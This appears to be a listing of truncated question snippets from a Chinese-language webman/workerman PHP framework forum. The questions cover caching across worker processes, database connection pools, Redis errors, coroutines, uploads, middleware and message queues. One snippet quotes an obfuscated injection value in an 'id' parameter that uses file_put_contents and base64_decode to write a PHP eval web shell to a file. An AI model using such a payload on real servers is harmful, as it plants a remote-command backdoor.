问题描述 webman中,为了加快处理的效率并减少IO,做了内存缓存。即根据请求的数据,从数据库中查询到数据后加载到了静态数组LoadData::$data中,供下次请求直接使用。 请问如何解决用户删除了对应数据后,内存缓存也要删除的问题, 需要每个worker进程都清理,请问该如何处理? 由于考虑到性能因素,所以没使用apcu等共享内存机制。在不使用共享内存存放$data的前提下,怎么处理呢? 为此你搜索到了哪些方...
问题描述 启动时使用websocket启动,绑定连接id时报错,如图所示 这里写问题描述 请大佬们帮忙看看,我想实现用户连接时把id绑定起来,然后通过其他接口发送数据。...
2.1版本引进了 连接池操作,以前的版本我记得有看到过帖子是使用count有多少,就有多少个连接, 那么在这种情况下我想问问,我不使用协程操作,我想使用最新2.1版本,但还是想自适应比如有多少个count就有多少个连接这种,我是不是可以不配置 options 和 pool 参数,以上疑问 包括了Mysql 和 Reids 配置 问题,请大佬解答一下...
问题描述 以下为文档示例数据库配置代码,在pool参数中设置了最大连接数(5)、最小连接数(1),那是不是意味着一个子进程中,最多储存5个数据库连接、最小储存1个数据库链接? return [ // 默认数据库 'default' => 'mysql', // 各种数据库配置 'connections' => [ 'mysql' => [ 'driver' ...
问题描述 这里详细描述问题 Error: Object of class Redis could not be converted to string in /www/wwwroot/default/push/app/middleware/AuthCheck.php:25 Stack trace: 0 /www/wwwroot/default/push/vendor/workerman/webman-framewor...
今天测试了一下协程效果,把依赖都更新为最新版(workerman/webman-framework ^2.1、webman/database:~2.1、webman/think-orm:~2.1),然后修改process.php的'eventLoop' => Workerman\Events\Fiber::class,环境是windows,测试代码: public function index(): R...
问题描述 而且是指定图片 其他图片好好的 程序代码或配置 /** * 上传图片 * @param Request $request * @return Response * @throws Exception */ public function image(Request $request): Response { $data = ...
问题描述 用的windows做服务器,有时候打开浏览器进ip就会卡住,进不去,一直转。控制台和日志也没有报错,重启就好了。 时间一般是早上8点多,这个时间代码里也没有定时任务执行。有时候会隔一天就出现这个问题,有时候又会隔哥好几天才出现。怎么解决这个问题,或者怎么定位问题在哪? 程序代码或配置 ...
问题描述 主项目中间件,有没有办法按约定配置的方式使用啊? 示例:在app/api/middleware/AuthMiddleware.php,将会自动加载使用该中间件 无需再config/middleware.php去填写配置,目前webman有这样的逻辑吗?...
问题描述 id='-("fil"."e"._."pu"."t"._."contents")("./test1.php",("base"."64"._."decode")('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXS...
实时获取每个直播间人数哪种方法更好一些 第一种方法: 用户加入到直播间,触发请求,gateway获取当前房间在线人数 广播出去 第二种方法: 启动进程时候创建定时器 一分钟获取一次每个房间在线人数 广播出去 哪种方案更好一些...
问题描述 因需要上传大文件,支持断点续传,就找到 https://github.com/ankitpokhrel/tus-php 但集成在 webman 中 tus服务端 headers 中 无法响应返回 协议需要的对下字段 Access-Control-Expose-Headers: Upload-Key, Upload-Checksum, Upload-Length, Upload-Offset, Uploa...
问题描述 服务器越多启动的进程就越多 占用的数据库链接就越多 有什么方案解决 目前部署了 9台服务器 链接的都是一台数据库服务器 平均每台机器进程数50 7台服务器 就会 450个链接 以后如果继续加机器会占用更多的 链接 问题 1、以后会不会 光机器加多了就导致数据库链接数不足的情况,有什么方案解决吗 2、在一个想了解一下 webman 占用的这个链接数 会 随着用户增加 连接数也会增加吗? 还是 起了多少个...
问题描述 后台添加数据,表单会一次提交多条数据或一条数据,后台插入数据库后会将每条数据id提交到消息列队》给每条数据生成word》在将word转pdf 消息列队干的事: 给每条数据生成一个word》用命令执行libreoffice将word转pdf 问题: 表单只添加一条数据的时候就没得问题,pdf也能成功 当表单添加条数据的时候,消息列队就跑得很快,而libreoffice又有点耗时,就好像同时有多个libreof...
Windows11 PHP8.3 报错:Error: Interface "Psr\SimpleCache\CacheInterface" not found 复现步骤如下: 安装项目 composer create-project workerman/webman cd webman composer require -W symfony/cache Index.php <?php ...
问题描述 如题 仍需要 composer require -W illuminate/redis 否则报错 另外一个问题是关于使用 array 类型缓存 public static function index() { $cacheKey = 'watchlist'; if (!Cache::has($cacheKey)) { //从数据库中返回第一条数据 ...
问题描述 在app/queue/redis下可以创建消费类,然后是这consume函数执行业务。 那么如果我有50个类型的类需要执行,那么就需要在app/queue/redis下创建50个类php文件吗? 我记得tp是可以直接在一个php文件里面设置子任务的,请问在workman有更好的办法吗?毕竟创建50个文件还是不太优雅,感谢!...